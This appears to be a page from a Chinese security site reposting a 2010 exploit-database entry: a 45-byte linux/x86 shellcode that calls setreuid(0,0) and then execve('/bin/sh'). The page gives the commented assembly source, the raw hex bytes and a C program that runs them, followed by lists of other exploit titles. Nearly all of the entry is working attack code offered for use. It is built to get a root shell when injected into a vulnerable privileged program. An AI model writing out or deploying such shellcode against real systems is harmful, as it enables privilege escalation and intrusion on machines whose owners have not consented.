首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 execute /bin/sh with setreuid 0,0 45 Bytes
来源:yudha.gunslinger[at]gmail.com 作者:gunslinger_ 发布时间:2010-06-18  
====================================================
linux/x86 execute /bin/sh with setreuid 0,0 45 Bytes
====================================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Title  : execute /bin/sh with setreuid 0,0
Name   : 45 bytes sys_setreuid (0,0) - sys_execve("/bin/sh","","")
Date   : Thu Jun 17 16:58:40 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz : jasakom.com , devilzc0de.org - com , xc0de.or.id, yogyacarderlink.web.id, serverisdown.org
tested on : linux debian
---------------------------Original assembly-----------------------------
global _start

_start:
	xor eax, eax	; bersihkan register!
	xor edx, edx	;
	xor ebx, ebx	;
	xor ecx, ecx	;
	
        mov al, 70     	; sys_setreuid()
        add bl,1        ; tambah 1 register bl menjadi 1 -> sys_setreuid(1,)
        dec bl     	; kurangi 1 register bl menjadi 0 -> sys_setreuid(0,)
	mov cl,bl	; kopikan nilai register bl ke cl. nilai register cl menjadi 0  -> sys_setreuid(0,0)
        int 0x80	; interupsi kernel kerjakan !

        jmp short end	; loncat tanpa kondisi ke end >-------------------------------------------------------------------.
			;												  |
	start:		; start terpanggil <--------------------------------------------------------------------------.	  |
	mov al,11	; syscall nomer 11 execve 								      |	  |				;syscall sys_execve(args1,args2,args3)
	pop ebx		; ambil dari stack <-------------------------------------------------------------------------------------------------------.	;sys_execve ("/bin/sh"
	mov ecx, edx	; nilai register edx kosong, lalu kopikan ke register ecx jadi ecx kosong	              |   |			   |	;sys_execve ("/bin/sh",0,0)
	int 0x80	; interupsi kernel, kerjakan !					                              |	  |			   |	;
			;             									              |   |			   |
	xor eax, eax	; bersihkan register ecx								      |   |			   |	;syscall exit()
	inc eax		; increment eax, atau tambah eax 1 karena nilai eax 0 jadi eax menjadi 1 syscall nomer 1 exit |	  |			   |	;sys_exit()
	int 0x80	; interupsi kernel, kerjakan !								      |	  |			   |	;
			;											      |	  |			   |
	end:		; label start <-----------------------------------------------------------------------------------' 			   |
	call start	; panggil start >-----------------------------------------------------------------------------'          		   |
	db '/bin/sh'	; masukan string '/bin/sh' ke stack >--------------------------------------------------------------------------------------'

------------------------Eof Original assembly-----------------------------
*/
#include <stdio.h>

char *shellcode=
		"\x31\xc0"                    /* xor    %eax,%eax */
		"\x31\xd2"                    /* xor    %edx,%edx */
		"\x31\xdb"                    /* xor    %ebx,%ebx */
		"\x31\xc9"                    /* xor    %ecx,%ecx */
		"\xb0\x46"                    /* mov    $0x46,%al */
		"\x80\xc3\x01"                /* add    $0x1,%bl */
		"\xfe\xcb"                    /* dec    %bl */
		"\x88\xd9"                    /* mov    %bl,%cl */
		"\xcd\x80"                    /* int    $0x80 */
		"\xeb\x0c"                    /* jmp    0x8048081 */
		"\xb0\x0b"                    /* mov    $0xb,%al */
		"\x5b"                        /* pop    %ebx */
		"\x89\xd1"                    /* mov    %edx,%ecx */
		"\xcd\x80"                    /* int    $0x80 */
		"\x31\xc0"                    /* xor    %eax,%eax */
		"\x40"                        /* inc    %eax */
		"\xcd\x80"                    /* int    $0x80 */
		"\xe8\xef\xff\xff\xff"        /* call   0x8048075 */
		"\x2f"                        /* das     */
		"\x62\x69\x6e"                /* bound  %ebp,0x6e(%ecx) */
		"\x2f"                        /* das     */
		"\x73\x68";                   /* jae    0x80480f5 */

int main(void)
{
		fprintf(stdout,"Length: %d\n",strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux/x86 bindport to 13123 Po
·linux/x86 chmod 777 polymorphi
·linux/x86 bindport to 31337 wi
·linux/x86 cdrom ejecting polym
·DMSEasy0.9.7 (fckeditor) Arbit
·linux/x86 ssh root@localhost p
·Rosoft Audio Converter 4.4.4 B
·linux/x86 exit() polymorphic s
·Winamp v5.572 local BOF exploi
·linux/x86 killall running proc
·Netware SMB Remote Stack Overf
·Linux/x86-64 - Disable ASLR Se
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved